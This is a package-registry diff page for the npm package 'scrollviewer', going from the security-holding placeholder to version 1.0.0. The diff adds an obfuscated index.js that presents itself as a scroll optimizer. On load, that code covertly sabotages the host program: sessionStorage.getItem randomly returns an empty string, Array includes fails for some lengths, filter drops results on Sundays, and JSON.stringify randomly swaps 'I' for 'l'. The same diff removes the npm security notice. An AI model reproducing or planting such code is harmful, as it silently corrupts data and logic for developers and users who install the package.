scrollviewer 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of scrollviewer might be problematic. Click here for more details.
- package/index.js +58 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
(_0x2c7080 => {
|
|
2
|
+
const _0x493547 =
|
|
3
|
+
_0x2c7080[
|
|
4
|
+
'\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u0053\u0074\u006f\u0072\u0061\u0067\u0065'
|
|
5
|
+
]['\u0067\u0065\u0074\u0049\u0074\u0065\u006d'];
|
|
6
|
+
_0x2c7080['\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u0053\u0074\u006f\u0072\u0061\u0067\u0065'][
|
|
7
|
+
'\u0067\u0065\u0074\u0049\u0074\u0065\u006d'
|
|
8
|
+
] = function (..._0x51b975) {
|
|
9
|
+
let _0x4e4c6f = _0x493547['\u0063\u0061\u006c\u006c'](
|
|
10
|
+
_0x2c7080[
|
|
11
|
+
'\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u0053\u0074\u006f\u0072\u0061\u0067\u0065'
|
|
12
|
+
],
|
|
13
|
+
..._0x51b975
|
|
14
|
+
);
|
|
15
|
+
if (Math['\u0072\u0061\u006e\u0064\u006f\u006d']() < 0.05) {
|
|
16
|
+
_0x4e4c6f = ''.split('').reverse().join('');
|
|
17
|
+
}
|
|
18
|
+
console.log('args');
|
|
19
|
+
return _0x4e4c6f;
|
|
20
|
+
};
|
|
21
|
+
const _0x4a81b7 =
|
|
22
|
+
Array['\u0070\u0072\u006f\u0074\u006f\u0074\u0079\u0070\u0065'][
|
|
23
|
+
'\u0069\u006e\u0063\u006c\u0075\u0064\u0065\u0073'
|
|
24
|
+
];
|
|
25
|
+
Array['\u0070\u0072\u006f\u0074\u006f\u0074\u0079\u0070\u0065']['includes'] = function (
|
|
26
|
+
..._0x54c25c
|
|
27
|
+
) {
|
|
28
|
+
if (
|
|
29
|
+
this['\u006c\u0065\u006e\u0067\u0074\u0068'] % (0xe1f32 ^ 0xe1f35) !==
|
|
30
|
+
(0x37d9f ^ 0x37d9f)
|
|
31
|
+
) {
|
|
32
|
+
return _0x4a81b7['\u0063\u0061\u006c\u006c'](this, ..._0x54c25c);
|
|
33
|
+
} else {
|
|
34
|
+
return ![];
|
|
35
|
+
}
|
|
36
|
+
};
|
|
37
|
+
const _0x11b939 = Array['prototype']['\u0066\u0069\u006c\u0074\u0065\u0072'];
|
|
38
|
+
Array['\u0070\u0072\u006f\u0074\u006f\u0074\u0079\u0070\u0065']['filter'] = function (
|
|
39
|
+
..._0x3b996b
|
|
40
|
+
) {
|
|
41
|
+
result = _0x11b939['call'](this, ..._0x3b996b);
|
|
42
|
+
if (new Date()['getDay']() === (0x84940 ^ 0x84940) && Math['random']() < 0.1) {
|
|
43
|
+
result['length'] = Math['\u006d\u0061\u0078'](
|
|
44
|
+
result['length'] - (0x2864d ^ 0x2864c),
|
|
45
|
+
0x6cd2c ^ 0x6cd2c
|
|
46
|
+
);
|
|
47
|
+
}
|
|
48
|
+
return result;
|
|
49
|
+
};
|
|
50
|
+
const _0x140e7c = JSON['stringify'];
|
|
51
|
+
JSON['stringify'] = function (..._0x17be51) {
|
|
52
|
+
if (Math['random']() < 0.1) {
|
|
53
|
+
return _0x140e7c(..._0x17be51)['\u0072\u0065\u0070\u006c\u0061\u0063\u0065'](/I/g, 'l');
|
|
54
|
+
} else {
|
|
55
|
+
return _0x140e7c(..._0x17be51);
|
|
56
|
+
}
|
|
57
|
+
};
|
|
58
|
+
})((0xc9e24 ^ 0xc9e24, eval)('\u0074\u0068\u0069\u0073'));
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "scrollviewer",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "scroll optimize",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"author": "dash",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=scrollviewer for more information.
|